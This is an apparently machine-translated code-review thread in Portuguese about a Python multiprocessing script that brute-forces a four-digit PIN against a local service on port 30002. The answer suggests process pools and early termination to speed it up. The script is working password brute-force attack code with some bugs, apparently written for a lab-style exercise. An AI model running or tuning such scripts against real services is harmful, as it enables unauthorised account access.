Divida e conquiste a senha Bruteforcer
Meu programa força bruta uma senha. A senha é uma string composta por uma chave e um código numérico de quatro dígitos. A chave é conhecida, portanto, somos basicamente uma força bruta entre 0000 e 9999
Um exemplo de senha é:
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 4143
Atualizei aquele script que escrevi para aproveitar as vantagens do multiprocessamento e funcionar mais rápido. A ideia básica é dividir a tarefa pelo número de CPUs disponíveis. Existem dois eventos configurados:
prnt_sig_foundé usado por subprocessos para informar aos pais se eles conseguem adivinhar a senha correta.- O processo pai então usa
child_sig_termpara interromper cada subprocessamento
Meu Python está enferrujado e acho que fiz algumas escolhas erradas. Seria útil invalidar minhas suposições. :)
#!/usr/bin/env python
# coding: utf-8
import multiprocessing as mp
import socket
import time
import math
import sys
import os
class Connection:
def __init__(self, pin = 0, max_iter = 10000, sock = None):
print('initizializing socket instance ...')
self.pin = pin
self.max_iter = max_iter
self.password = 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ'
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def p_name(self):
return mp.current_process().name
def connect(self, host='127.0.0.1', port=30002):
print(self.p_name(), 'connecting ...', host, port)
self.sock.connect((host, port))
print(self.p_name(), 'connection successful.')
def write(self, msg):
print(self.p_name(), 'sending', msg)
self.sock.sendall(msg)
def read(self):
print(self.p_name(), 'reading data ...')
data = self.sock.recv(4096)
return data
def close(self):
try:
self.sock.shutdown(0)
self.sock.close()
except:
pass
def execute(self, child_sig_term, prnt_sig_found):
start_time = time.time()
print(self.p_name(), 'executing ...')
self.connect()
welcome_str = self.read()
print(welcome_str)
while self.pin < self.max_iter:
if child_sig_term.is_set():
break
pin_str = str(self.pin).zfill(4)
message = self.password + " " + pin_str + "\n" # add newline char to flush message or it doesn't get sent
self.write(message.encode())
received_msg = self.read()
if 'Wrong' in received_msg:
print(self.p_name(), 'Wrong guess %s', pin_str)
else:
print('_________________found_____________', received_msg)
prnt_sig_found.set()
break
self.pin += 1
time.sleep(0.5)
end_time = time.time()
total_time = end_time - start_time
print(self.p_name(), "start: "+str(self.pin), ' end: '+str(self.max_iter), 'total_time: ', str((total_time)/60) + ' minutes')
def main():
print('main')
connections = []
processes = []
# requires read/write access to /dev/shm
prnt_sig_found = mp.Event()
child_sig_term = mp.Event()
MAX_ITER_COUNT = 10000
processor_count = mp.cpu_count()
step_count = int(math.floor(MAX_ITER_COUNT / processor_count)) # math.floor returns a float in python 2
end = step_count
start = 0
print('Initial values ->', processor_count, step_count, start, end)
try:
for i in range(processor_count):
conn = Connection(pin = start, max_iter = end)
proc_name = 'BF[ ' + str(start) + ' - ' + str(end) + ' ]'
process = mp.Process(name=proc_name, target=conn.execute, args=(child_sig_term, prnt_sig_found))
process.daemon = True
connections.append(conn)
processes.append(process)
start = end + 1
end += start + step_count
# ensure start and end don't exceed max
if MAX_ITER_COUNT < end : end = MAX_ITER_COUNT
if MAX_ITER_COUNT < start: start = MAX_ITER_COUNT
# start all processes
for process in processes:
process.start()
# wait for all processes to finish
# block the main program until these processes are finished
for process in processes:
process.join()
prnt_sig_found.wait()
child_sig_term.set()
except:
pass
finally:
for conn in connections:
conn.close()
for process in processes:
if process.is_alive():
process.terminate()
if __name__ == '__main__':
main()
Respostas
Use pools de processos
O multiprocessingmódulo já possui funções para criar um pool de processos , então você não precisa implementá-lo. Existem funções para que ele inicie automaticamente uma série de tarefas de uma vez. Por exemplo, usando a map()função, você pode enfileirar uma tarefa para cada combinação possível de 4 dígitos:
pool = mp.Pool();
pool.map(try_combination, range(10000))
Isso fará com que os threads de trabalho executem a try_combination()função em todos os valores entre 0 e 9999. No seu caso, você pode querer evitar a criação de uma única conexão para cada combinação, então você deve fazer isso para não enfileirar uma tarefa para cada combinação, mas cada tarefa tenta várias combinações. Dê uma olhada na documentação do multiprocessing.poolpara descobrir o que é possível.
O uso multiprocessing.pooldeve permitir que você remova a maior parte do código em main().
Pare outros processos quando encontrar a combinação certa
Seu código gera vários processos, cada um experimentando uma variedade de combinações. Você então espera que todos eles terminem. Mas, em média, você encontrará a combinação certa depois de tentar apenas metade das combinações, portanto, será duas vezes mais eficiente se parar de processar quando encontrar a combinação certa. Isso significa que em vez de esperar que todos eles terminem, você deve esperar que o primeiro termine, verificar se ele encontrou a combinação e, em caso afirmativo, interromper os outros processos.
Com multiprocessing.poolvocê pode fazer isso usando map_async()e terminate().
Remova a maioria das print()declarações
Tenho certeza de que foram úteis ao criar o código, para ver o que ele estava fazendo e para depurar quaisquer problemas. Mas agora que está funcionando, você deve remover essas instruções. No final, você não está interessado no que está acontecendo, apenas no resultado final. Além disso, não imprima o tempo que demorou, você pode usar ferramentas externas como o timecomando para medir quanto tempo seu programa demorou para ser executado.
Considere substituir class Connectionpor uma única função
Você escreveu um classpara fazer uma conexão e tentar várias combinações, mas a única coisa que você faz é construí-lo e chamar execute()uma vez. Uma única função seria suficiente aqui.
Além disso, depois de remover as print()instruções desnecessárias , vejo que a maioria das funções de membro são apenas uma única instrução. Em vez de escrever essa função de membro e chamá-la internamente execute(), você poderia ter escrito essa instrução diretamente internamente execute(). Portanto, mova todas as outras funções-membro e o construtor para execute(), mova-o para fora do classe dê a ele um nome melhor, como try_combinations().